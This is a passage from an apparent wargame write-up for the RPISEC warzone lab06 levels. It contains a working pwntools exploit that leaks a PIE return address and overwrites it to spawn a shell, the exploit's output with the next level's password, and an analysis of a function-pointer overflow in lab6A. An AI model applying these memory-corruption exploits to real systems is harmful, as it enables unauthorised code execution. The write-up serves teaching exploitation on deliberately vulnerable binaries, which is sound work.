@ ebp-0xc\r\n\u2502          ; var int local_4      @ ebp-0x10\r\n\u2502          ; var int local_12     @ ebp-0x30\r\n\u2502          ; var int local_20     @ ebp-0x50\r\n\u2502          ; var int local_52     @ ebp-0xd0\r\n\u2502          ; CALL XREF from 0x00000f79 (sym.main)\r\n\u2502          ;-- sym.login_prompt:\r\n\u2502          0x00000d36    55             push ebp\r\n\u2502          0x00000d37    89e5           mov ebp, esp\r\n\u2502          0x00000d39    53             push ebx\r\n\u2502          0x00000d3a    81ece4000000   sub esp, 0xe4\r\n\u2502          0x00000d40    e8bbfbffff     call sym.__x86.get_pc_thunk.bx ;sym.__x86.get_pc_thunk.bx()\r\n\u2502          0x00000d45    81c333220000   add ebx, 0x2233\r\n\u2502          0x00000d4b    c745f4fdffff.  mov dword &#x5B;ebp-local_3], 0xfffffffd  ; &#x5B;0xfffffffd:4]=-1 ; -3\r\n\u2502          0x00000d52    c745f0ffffff.  mov dword &#x5B;ebp-local_4], sym.imp._ITM_registerTMCloneTable  ; &#x5B;0xffffffff:4]=-1 ; sym.imp._ITM_registerTMCloneTable\r\n\u2502      \u250c\u2500&lt; 0x00000d59    e946010000     jmp 0xea4\r\n\u2502  \u250c       ; JMP XREF from 0x00000eaf (sym.login_prompt)\r\n\u2502  \u250c\u2500\u2500\u2500\u2500\u2500&gt; 0x00000d5e    c74424082000.  mov dword &#x5B;esp + 8], 0x20       ; &#x5B;0x20:4]=0x2154  ; &quot;T!&quot; 0x00000020  ; &quot;T!&quot; @ 0x20\r\n\u2502  \u2502   \u2502   0x00000d66    c74424040000.  mov dword &#x5B;esp + 4], 0          ; &#x5B;0x4:4]=0x10101\r\n\u2502  \u2502   \u2502   0x00000d6e    8d45d0         lea eax, &#x5B;ebp-local_12]\r\n\u2502  \u2502   \u2502   0x00000d71    890424         mov dword &#x5B;esp], eax\r\n\u2502  \u2502   \u2502   0x00000d74    e817fbffff     call sym.imp.memset ;sym.imp.memset()\r\n\u2502  \u2502   \u2502   0x00000d79    c74424082000.  mov dword &#x5B;esp + 8], 0x20       ; &#x5B;0x20:4]=0x2154  ; &quot;T!&quot; 0x00000020  ; &quot;T!&quot; @ 0x20\r\n\u2502  \u2502   \u2502   0x00000d81    c74424040000.  mov dword &#x5B;esp + 4], 0          ; &#x5B;0x4:4]=0x10101\r\n\u2502  \u2502   \u2502   0x00000d89    8d45b0         lea eax, &#x5B;ebp-local_20]\r\n\u2502  \u2502   \u2502   0x00000d8c    890424         mov dword &#x5B;esp], eax\r\n\u2502  \u2502   \u2502   0x00000d8f    e8fcfaffff     call sym.imp.memset ;sym.imp.memset()\r\n\u2502  \u2502   \u2502   0x00000d94    c74424088000.  mov dword &#x5B;esp + 8], 0x80       ; &#x5B;0x80:4]=0\r\n\u2502  \u2502   \u2502   0x00000d9c    c74424040000.  mov dword &#x5B;esp + 4], 0          ; &#x5B;0x4:4]=0x10101\r\n\u2502  \u2502   \u2502   0x00000da4    8d8530ffffff   lea eax, &#x5B;ebp-local_52]\r\n\u2502  \u2502   \u2502   0x00000daa    890424         mov dword &#x5B;esp], eax\r\n\u2502  \u2502   \u2502   0x00000dad    e8defaffff     call sym.imp.memset ;sym.imp.memset()\r\n<\/pre>\n<p>The relevant parts are highlighted. The variable stored at <code>ebp-local_3<\/code> (<code>ebp-0xc<\/code>) is initialized with <code>-3<\/code>. The variable stored at <code>ebp-local_4<\/code> (<code>ebp-0x10<\/code>) is initialized with <code>-1<\/code>. These are the variables <code>attempts<\/code> and <code>result<\/code>. Before these variables the buffers <code>readbuff<\/code> (<code>ebp-local_52<\/code>: <code>ebp-0xd0<\/code>), <code>username<\/code> (<code>local_20<\/code>: <code>ebp-0x50<\/code>) and <code>password<\/code> (<code>local_12<\/code>: <code>ebp-0x30<\/code>) are stored, which are initialized using <code>memset<\/code>.<\/p>\n<p>This means that the first items on the stack should be <code>result<\/code> and <code>attempts<\/code>:<\/p>\n<pre>\r\n<span style=\"color:#0000ff;\">[  c6c6c6c6  ]  (0x5f - 0x62)  <-- result   (initialized with 0xffffffff)\r\n[  c6c6c6c7  ]  (0x63 - 0x66)  <-- attempts (initialized with 0xfffffffd)<\/span>\r\n[  8e473641  ]  (0x67 - 0x6a)\r\n[  8e473641  ]  (0x6b - 0x6e)\r\n[  86e18fd1  ]  (0x6f - 0x72)\r\n[  8e44d647  ]  (0x73 - 0x76)\r\n...\r\n<\/pre>\n<p><code>result<\/code> should be <code>-1<\/code> (<code>0xffffffff<\/code>) but it changed to <code>0xc6c6c6c6<\/code>!? Do you remember how the <code>hash_pass<\/code> function works?<\/p>\n<pre class=\"brush: cpp; first-line: 27; title: ; notranslate\" title=\"\">\r\n    while(password&#x5B;i] &amp;&amp; username&#x5B;i])\r\n    {\r\n        password&#x5B;i] ^= username&#x5B;i];\r\n        i++;\r\n    }\r\n<\/pre>\n<p>As long as <code>password[i]<\/code> or <code>username[i]<\/code> are not null, <code>password[i]<\/code> is XORed with <code>username[i]<\/code>. Because both strings <code>username<\/code> and <code>password<\/code> do not contain a terminating null-byte, the loop just keeps on XORing all following values on the stack:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab6B_01.png\" alt=\"\" width=\"960\" height=\"720\" class=\"alignnone size-full wp-image-380\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab6B_01.png 960w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab6B_01-300x225.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab6B_01-768x576.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>This means that the values on the stack got XORed with the password, which has been XORed with the username before:<\/p>\n<pre>\r\npassword[0]  = username[0] ^ password[0]\r\n...\r\npassword[33] = password[0] ^ password[33] = 0xc6\r\n<\/pre>\n<p>The XORed value for <code>password[0]<\/code> is <code>'9' (0x39)<\/code>. Thus the previous value of <code>password[33]<\/code> was:<\/p>\n<pre>\r\npassword_33_before = password[0] ^ 0xc6\r\npassword_33_before = 0x39 ^ 0xc6\r\npassword_33_before = 0xff\r\n<\/pre>\n<p><code>0xff<\/code>! Just as we suspected. Now we can convert all items on the stack to the original value by XORing with <code>0x39<\/code>:<\/p>\n<pre>\r\n[  ffffffff  ]  (0x5f - 0x62)  <-- result   (initialized with 0xffffffff)\r\n[  fffffffe  ]  (0x63 - 0x66)  <-- attempts (initialized with 0xfffffffd)\r\n[  b77e0f78  ]  (0x67 - 0x6a)\r\n[  b77e0f78  ]  (0x6b - 0x6e)\r\n[  bfd8b6e8  ]  (0x6f - 0x72)\r\n[  b77def7e  ]  (0x73 - 0x76)\r\n...\r\n<\/pre>\n<p>The value of <code>result<\/code> is <code>-1<\/code> (<code>0xffffffff<\/code>). <code>attempts<\/code> has been incremented by one and thus is <code>-2<\/code> (<code>0xfffffffe<\/code>).<\/p>\n<p>What we are really interested in is the return address of the function <code>login_prompt<\/code>. Within the binary, the return address should be the address right after the call to <code>login_prompt<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,5]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x000008c0]&gt; pdf @ sym.main\r\n\u2552 (fcn) sym.main 224\r\n...\r\n\u2502    \u2502     0x00000f79    e8b8fdffff     call sym.login_prompt ;sym.login_prompt()\r\n\u2502    \u2502     0x00000f7e    85c0           test eax, eax\r\n...\r\n&#x5B;0x000008c0]&gt;\r\n<\/pre>\n<p>The instruction after the call is stored at offset <code>0x00000f7e<\/code>. As we have seen in the last level, this is not the final address since the binary is compiled as <i>PIE<\/i> and the <code>.text<\/code> segment is loaded at a random address. Nevertheless the offsets stays the same and we can easily identify the return address on the stack:<\/p>\n<pre>\r\n[  ffffffff  ]  (0x5f - 0x62)  <-- result   (initialized with 0xffffffff)\r\n[  fffffffe  ]  (0x63 - 0x66)  <-- attempts (initialized with 0xfffffffd)\r\n[  b77e0f78  ]  (0x67 - 0x6a)\r\n[  b77e0f78  ]  (0x6b - 0x6e)\r\n[  bfd8b6e8  ]  (0x6f - 0x72)\r\n<span style=\"color:#0000ff;\">[  b77de<\/span><span style=\"color:#ff0000;\">f7e<\/span><span style=\"color:#0000ff;\">  ]  (0x73 - 0x76)  <-- return address, offset: 0x<\/span><span style=\"color:#ff0000;\">f7e<\/span>\r\n...\r\n<\/pre>\n<p>Since we want to get a shell, our goal is to call the function <code>login<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x000008c0]&gt; afl~login\r\n0x00000af4  57  1  sym.login\r\n<\/pre>\n<p>The function <code>login<\/code> is located at offset <code>0xaf4<\/code>. If we abuse the <code>hash_pass<\/code> function in order to change the last 12 bits of the return address to <code>0xaf4<\/code> the function <code>login<\/code> is called, when the function <code>login_prompt<\/code> returns.<\/p>\n<p>In order to do this we have to set each byte of <code>password<\/code> which is XORed with the return address to the appropriate value.<\/p>\n<p>Let's start with the least significant byte. We want to change this from <code>0x7e<\/code> (return address) to <code>f4<\/code> (offset <code>login<\/code>). Thus the corresponding byte in <code>password<\/code> has to be:<\/p>\n<pre>\r\n0xf4 = password_byte ^ 0x7e\r\npassword_byte = 0x7e ^0xf4\r\npassword_byte = 0x8a\r\n<\/pre>\n<p><code>0x8a<\/code>! But we have to consider, that the values of password will also be XORed with the corresponding byte in <code>username<\/code>. Since we set the username to <code>AAAA...<\/code>, the byte in <code>password<\/code> before the XOR was performed has to be:<\/p>\n<pre>\r\n0x8a = password_byte_inital ^ 0x41 ('A')\r\npassword_byte_inital = 0x41 ^ 0x8a\r\npassword_byte_inital = 0xcb\r\n<\/pre>\n<p>This means that we have to set the corresponding byte in password to <code>0xcb<\/code>. This value will be XORed with <code>username<\/code> resulting in <code>0x8a<\/code>. And this value will be XORed with the byte <code>0x7e<\/code> in the return address finally changing it to <code>0xf4<\/code>.<\/p>\n<p>If you are not confused yet, here is another issue: We do not want to change the upper bytes of the return address since these contain the randomized base address. Just like in the last level we want to do a <i>Partial Overwrite<\/i>. If the value of these bytes should not be changed, the value of the corresponding byte in <code>password<\/code> should be zero. But if <code>password<\/code> contains a null-byte the first loop terminates and the next loop XORs the return address with the constant <code>0x44<\/code>:<\/p>\n<pre class=\"brush: cpp; first-line: 26; title: ; notranslate\" title=\"\">\r\n    \/* hash pass with chars of username *\/\r\n    while(password&#x5B;i] &amp;&amp; username&#x5B;i])\r\n    {\r\n        password&#x5B;i] ^= username&#x5B;i];\r\n        i++;\r\n    }\r\n\r\n    \/* hash rest of password with a pad char *\/\r\n    while(password&#x5B;i])\r\n    {\r\n        password&#x5B;i] ^= 0x44;\r\n        i++;\r\n    }\r\n<\/pre>\n<p>This will change the base address in the return address and we will not jump to <code>login<\/code>:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab6B_2.png\" alt=\"\" width=\"831\" height=\"529\" class=\"alignnone size-full wp-image-381\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab6B_2.png 831w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab6B_2-300x191.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/02\/lab6B_2-768x489.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>This means that we cannot do a partial overwrite. We rather change the return address appropriately in two steps:<br \/>\n&#8211;> (1) Input <code>32*'A'<\/code> for <code>username<\/code> and <code>32*'x'<\/code> for <code>password<\/code> and leak the return address including the randomized base address.<br \/>\n&#8211;> (2) Input another username and password setting the values for <code>password<\/code> according to the leaked base address so that the return address will be set to the address of <code>login<\/code>.<\/p>\n<p>Another thing to consider is that we must also change the variable <code>attempts<\/code>. In order to quit the loop and reach the <code>ret<\/code> instruction of the function <code>login_prompt<\/code> <code>attempts<\/code> has to be set to zero.<\/p>\n<p>With all this in mind we can create the final exploit:<\/p>\n<pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab6B@warzone:\/levels\/lab06$ cat \/tmp\/exploit_lab6B.py\r\nfrom pwn import *\r\n\r\np = remote(&quot;localhost&quot;, 6642)\r\n\r\n# *************************************************************\r\n# stage1: leak return address including randomized base address\r\n\r\np.recv(200)\r\np.sendline(&quot;A&quot;*32) # username\r\np.recv(200)\r\np.sendline(&quot;x&quot;*32) # password\r\n\r\nret = p.recv(400)  # output contains return address (XORed)\r\n\r\naddr_ret_after_xor = ret&#x5B;0x73:0x77]\r\naddr_ret_orig = &#x5B;chr(ord(a)^0x39) for a in addr_ret_after_xor]\r\n\r\n# *******************************************************************************\r\n# stage2: adjusting password so that return address will be changed appropriately\r\n\r\nexplPwd  = &quot;x&quot; * 4             # variable result\r\nexplPwd += &quot;\\x89\\x87\\x87\\x87&quot;  # variable attempts (set to 0)\r\nexplPwd += &quot;x&quot; * 12\r\nexplPwd += chr(ord(addr_ret_after_xor&#x5B;0])^0xf4^0x41)\r\nexplPwd += chr(ord(addr_ret_after_xor&#x5B;1])^(ord(addr_ret_orig&#x5B;1]) &amp; 0xf0 | 0xa)^0x41)\r\nexplPwd += chr(ord(addr_ret_after_xor&#x5B;2])^ ord(addr_ret_orig&#x5B;2])^0x41)\r\nexplPwd += chr(ord(addr_ret_after_xor&#x5B;3])^ ord(addr_ret_orig&#x5B;3])^0x41)\r\nexplPwd += &quot;x&quot; * 8\r\n\r\np.recv(200)\r\np.sendline(&quot;A&quot;*32)  # username\r\np.recv(200)\r\np.sendline(explPwd) # password\r\n\r\np.recv(400)\r\np.interactive()\r\n<\/pre>\n<p>Running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab6B@warzone:\/levels\/lab06$ python \/tmp\/exploit_lab6B.py\r\n&#x5B;+] Opening connection to localhost on port 6642: Done\r\n&#x5B;*] Switching to interactive mode\r\nWELCOME MR. FALK\r\n$ whoami\r\nlab6A\r\n$ cat \/home\/lab6A\/.pass\r\nstrncpy_1s_n0t_s0_s4f3_l0l\r\n<\/pre>\n<p>Done! \ud83d\ude42 The password for the next level is <code>strncpy_1s_n0t_s0_s4f3_l0l<\/code>.<\/p>\n<hr \/>\n<h1 id=\"lab6A\">lab6A<\/h1>\n<p>We connecting to the next level using the previously gained credentials <span style=\"color: #ff0000;\">lab6A<\/span> with the password <span style=\"color: #ff0000;\">strncpy_1s_n0t_s0_s4f3_l0l<\/span>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ sudo ssh lab6A@localhost\r\nlab6A@localhost's password: (strncpy_1s_n0t_s0_s4f3_l0l)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------&#x5B; contact@rpis.ec ]-----------------\r\nLast login: Wed Jan 24 08:47:26 2018 from localhost\r\n<\/pre>\n<p>We start by analysing the source code:<\/p>\n<pre class=\"brush: cpp; first-line: 0; highlight: [5,15,16,17,18,19,22,23,24,25,29,33,60,62,63,64,66,69,73,75,89,90,91,107,110,113,116]; title: ; notranslate\" title=\"\">\r\nlab6A@warzone:\/levels\/lab06$ cat lab6A.c\r\n\/*\r\nExploitation with ASLR enabled\r\nLab A\r\n\r\ngcc -fpie -pie -fno-stack-protector -o lab6A .\/lab6A.c\r\n\r\nPatrick Biernat\r\n*\/\r\n\r\n#include &lt;stdio.h&gt;\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;string.h&gt;\r\n#include &quot;utils.h&quot;\r\n\r\nstruct uinfo {\r\n    char name&#x5B;32];\r\n    char desc&#x5B;128];\r\n    unsigned int sfunc;\r\n}user;\r\n\r\n\r\nstruct item {\r\n    char name&#x5B;32];\r\n    char price&#x5B;10];\r\n}aitem;\r\n\r\nstruct item ulisting;\r\n\r\nvoid write_wrap(char ** buf) {\r\n    write(1, *buf, 8);\r\n}\r\n\r\nvoid make_note() {\r\n    char note&#x5B;40];\r\n    printf(&quot;Make a Note About your listing...: &quot;);\r\n    gets(note);\r\n}\r\n\r\nvoid print_listing() {\r\n    printf(\r\n    &quot;Here is the listing you've created: \\n&quot;);\r\n    if(*ulisting.name == '\\x00') {\r\n        return;\r\n    }\r\n    printf(&quot;Item: %s\\n&quot;, ulisting.name);\r\n    printf(&quot;Price: %s\\n&quot;,ulisting.price);\r\n}\r\n\r\nvoid make_listing() {\r\n    printf(&quot;Enter your item's name: &quot;);\r\n    fgets(ulisting.name, 31, stdin);\r\n    printf(&quot;Enter your item's price: &quot;);\r\n    fgets(ulisting.price, 9, stdin);\r\n}\r\n\r\nvoid setup_account(struct uinfo * user) {\r\n    char temp&#x5B;128];\r\n    memset(temp, 0, 128);\r\n    printf(&quot;Enter your name: &quot;);\r\n    read(0, user-&gt;name, sizeof(user-&gt;name));\r\n    printf(&quot;Enter your description: &quot;);\r\n    read(0, temp, sizeof(user-&gt;desc));\r\n    strncpy(user-&gt;desc, user-&gt;name,32);\r\n    strcat(user-&gt;desc, &quot; is a &quot;);\r\n\r\n    memcpy(user-&gt;desc + strlen(user-&gt;desc), temp, strlen(temp));\r\n}\r\n\r\nvoid print_name(struct uinfo * info) {\r\n    printf(&quot;Username: %s\\n&quot;, info-&gt;name);\r\n}\r\n\r\nint main(int argc, char ** argv) {\r\n    disable_buffering(stdout);\r\n    struct uinfo  merchant;\r\n    char choice&#x5B;4];\r\n\r\n    printf(\r\n    &quot;.-------------------------------------------------. \\n&quot; \\\r\n    &quot;|  Welcome to l337-Bay                          + | \\n&quot;\r\n    &quot;|-------------------------------------------------| \\n&quot;\r\n    &quot;|1: Setup Account                                 | \\n&quot;\r\n    &quot;|2: Make Listing                                  | \\n&quot;\r\n    &quot;|3: View Info                                     | \\n&quot;\r\n    &quot;|4: Exit                                          | \\n&quot;\r\n    &quot;|-------------------------------------------------| \\n&quot; );\r\n\r\n    \/\/ Initialize user info\r\n    memset(merchant.name, 0, 32);\r\n    memset(merchant.desc, 0 , 64);\r\n    merchant.sfunc = (unsigned int)print_listing;\r\n\r\n    \/\/initialize listing\r\n    memset(ulisting.name, 0, 32);\r\n    memset(ulisting.price, 0, 10);\r\n\r\n    while(1) {\r\n        memset(choice, 0, 4);\r\n        printf(&quot;Enter Choice: &quot;);\r\n\r\n        if (fgets(choice, 2, stdin) == 0) {\r\n            break;\r\n        }\r\n        getchar(); \/\/ Eat the newline\r\n\r\n        if (!strncmp(choice, &quot;1&quot;,1)) {\r\n            setup_account(&amp;merchant);\r\n        }\r\n        if (!strncmp(choice, &quot;2&quot;,1)) {\r\n            make_listing();\r\n        }\r\n        if (!strncmp(choice, &quot;3&quot;,1)) { \/\/ ITS LIKE HAVING CLASSES IN C!\r\n            ( (void (*) (struct uinfo *) ) merchant.sfunc) (&amp;merchant);\r\n        }\r\n        if (!strncmp(choice, &quot;4&quot;,1)) {\r\n            return EXIT_SUCCESS;\r\n        }\r\n\r\n    }\r\n\r\n\r\n    return EXIT_SUCCESS;\r\n}\r\n<\/pre>\n<p>What does the program do?<br \/>\n&#8211;> Again the binary is compiled with the option <code>-fpie -pie<\/code> (line 5), which means that all addresses are randomized.<br \/>\n&#8211;> There are two global struct definitions: <code>uinfo<\/code> (lines 15-19) and <code>item<\/code> (lines 22-25). We will focus on the <code>uinfo<\/code> struct.<br \/>\n&#8211;> Within the <code>main<\/code> function (line 73) the struct <code>uinfo<\/code> is instantiated with the name <code>merchant<\/code> (line 75).<br \/>\n&#8211;> Both strings of the struct are initialized (lines 89-90). For the <code>desc<\/code> string only the first 64 of the total 128 bytes are zeroed out.<br \/>\n&#8211;> The member <code>sfunc<\/code> is set to the address of the function <code>print_listing<\/code> (line 91).<br \/>\n&#8211;> The program runs in a loop repetitively asking the user the input a choice (lines 97-99). The following choices can be made:<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;- Setup Account (calls the function <code>setup_account(&merchant)<\/code>: line 107).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;- Make Listing (calls the function <code>make_listing<\/code>: line 110).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;- View Info (interprets the <code>sfunc<\/code> member as a function address, which is called passing <code>&merchant<\/code>: line 113).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;- Exit (returning and thus quitting the program: line 116).<br \/>\n&#8211;> The function <code>setup_account<\/code> (line 56) reads a name and a description:<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;- The name is directly stored in <code>user->name<\/code> using the function <code>read<\/code> (line 60).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;- The description is temporary stored in <code>temp<\/code> (line 62).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;- <code>user->name<\/code> is then copied to <code>user->desc<\/code> (line 63) and the string <code>\" is a \"<\/code> is appended (line 64).<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp;- <code>memcpy<\/code> is used to append the description stored in <code>temp<\/code> to <code>user->desc<\/code> (line 66).<br \/>\n&#8211;> There are three functions, which are not called at all: <code>write_wrap<\/code> (line 29), <code>make_note<\/code> (line 33) and <code>print_name<\/code> (69).<\/p>\n<p>Where is the vulnerability in the program?<br \/>\nThere is a obvious vulnerability within <code>make_note<\/code> since the function uses <code>gets<\/code> to read a user input. As the function <code>make_note<\/code> is not called at all, we cannot make use of it. But there is another vulnerability within the function <code>setup_account<\/code>. The member <code>user->desc<\/code> is initialized with a maximum of 32 byte of <code>user->name<\/code> using <code>strncpy<\/code> (line 63). After this the string <code>\" is a \"<\/code> is appended to <code>user->desc<\/code> (line 64) which makes a maximum of <code>32 + 6 = 38<\/code> byte. Then the content of the variable <code>temp<\/code>, which holds a maximum of 128 byte, is appended (line 66). Summing it up a total amount of <code>38 + 128 = 166<\/code>bytes are copied to <code>user->desc<\/code>. Since <code>user->desc<\/code> is only 128 byte long, we can cause a buffer-overflow.<\/p>\n<p>When we have identified a buffer-overflow the most usual overwrite-target is the return address of the stack-frame the buffer we can overflow resides in. But in this case there is a far more closer target: the <code>sfunc<\/code> member of the struct. Since the value of <code>sfunc<\/code> is interpreted as a function-address which is called, when we choose <code>View Info<\/code>, we can set this value to an address we would like to jump to. Let's start by verifying our assumptions:<\/p>\n<p>The user input for <code>user->name<\/code> is read using the function <code>read<\/code> passing 32 as the maximum of bytes to read. Since <code>read<\/code> also gets the closing <code>newline<\/code> (<code>0xa<\/code>, we will enter 31 characters for the username. In an analogous manner we will enter 127 characters for the description.<\/p>\n<p>At first we identify the instruction which calls <code>sfunc<\/code> and set up a breakpoint on that instruction using <code>gdb<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,7,10]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ disassemble main\r\nDump of assembler code for function main:\r\n   ...\r\n   0x00000d8f &lt;+384&gt;:   mov    eax,DWORD PTR &#x5B;esp+0xbc]\r\n   0x00000d96 &lt;+391&gt;:   lea    edx,&#x5B;esp+0x1c]\r\n   0x00000d9a &lt;+395&gt;:   mov    DWORD PTR &#x5B;esp],edx\r\n   0x00000d9d &lt;+398&gt;:   call   eax\r\n   ...\r\nEnd of assembler dump.\r\ngdb-peda$ b *main+398\r\nBreakpoint 1 at 0xd9d\r\n<\/pre>\n<p>Then we run the program, choose <code>Setup Account<\/code>, fill up the username and the description and choose <code>View Info<\/code> to call <code>sfunc<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; highlight: [1,3,13,14,15,16,32,52,53]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ pattern create 127\r\n'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO'\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab06\/lab6A\r\n.-------------------------------------------------.\r\n|  Welcome to l337-Bay                          + |\r\n|-------------------------------------------------|\r\n|1: Setup Account                                 |\r\n|2: Make Listing                                  |\r\n|3: View Info                                     |\r\n|4: Exit                                          |\r\n|-------------------------------------------------|\r\nEnter Choice: 1\r\nEnter your name: UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\r\nEnter your description: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\r\nEnter Choice: 3\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x6741414b ('KAAg')\r\nEBX: 0xb77a3000 --&gt; 0x2ef8\r\nECX: 0xb776e8a4 --&gt; 0x0\r\nEDX: 0xbfeac03c ('U' &lt;repeats 31 times&gt;, &quot;\\n&quot;, 'U' &lt;repeats 31 times&gt;, &quot;\\n is a AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\\n\\350\\300&quot;...)\r\nESI: 0x0\r\nEDI: 0x0\r\nEBP: 0xbfeac0e8 (&quot;hAA7AAMAAiAA8AANAAjAA9AAO\\n\\350\\300\\352\\277\\352\\277$\\301\\352\\277&#92;&#48;70&#92;&#48;60z\\267\\240&#92;&#48;03z\\267&quot;)\r\nESP: 0xbfeac020 --&gt; 0xbfeac03c ('U' &lt;repeats 31 times&gt;, &quot;\\n&quot;, 'U' &lt;repeats 31 times&gt;, &quot;\\n is a AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\\n\\350\\300&quot;...)\r\nEIP: 0xb77a0d9d (&lt;main+398&gt;:    call   eax)\r\nEFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0xb77a0d8f &lt;main+384&gt;:       mov    eax,DWORD PTR &#x5B;esp+0xbc]\r\n   0xb77a0d96 &lt;main+391&gt;:       lea    edx,&#x5B;esp+0x1c]\r\n   0xb77a0d9a &lt;main+395&gt;:       mov    DWORD PTR &#x5B;esp],edx\r\n=&gt; 0xb77a0d9d &lt;main+398&gt;:       call   eax\r\n   0xb77a0d9f &lt;main+400&gt;:       lea    eax,&#x5B;esp+0x18]\r\n   0xb77a0da3 &lt;main+404&gt;:       movzx  edx,BYTE PTR &#x5B;eax]\r\n   0xb77a0da6 &lt;main+407&gt;:       lea    eax,&#x5B;ebx-0x1f13]\r\n   0xb77a0dac &lt;main+413&gt;:       movzx  eax,BYTE PTR &#x5B;eax]\r\nGuessed arguments:\r\narg&#x5B;0]: 0xbfeac03c ('U' &lt;repeats 31 times&gt;, &quot;\\n&quot;, 'U' &lt;repeats 31 times&gt;, &quot;\\n is a AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\\n\\350\\300&quot;...)\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbfeac020 --&gt; 0xbfeac03c ('U' &lt;repeats 31 times&gt;, &quot;\\n&quot;, 'U' &lt;repeats 31 times&gt;, &quot;\\n is a AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\\n\\350\\300&quot;...)\r\n0004| 0xbfeac024 --&gt; 0x2\r\n0008| 0xbfeac028 --&gt; 0xb776dc20 --&gt; 0xfbad2288\r\n0012| 0xbfeac02c --&gt; 0x0\r\n0016| 0xbfeac030 --&gt; 0xbfeac098 (&quot;AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\\n\\350\\300\\352\\277\\352\\277$\\301\\352\\277&#92;&#48;70&#92;&#48;60z\\267\\240&#92;&#48;03z\\267&quot;)\r\n0020| 0xbfeac034 --&gt; 0xb779fa94 --&gt; 0xb777ab18 --&gt; 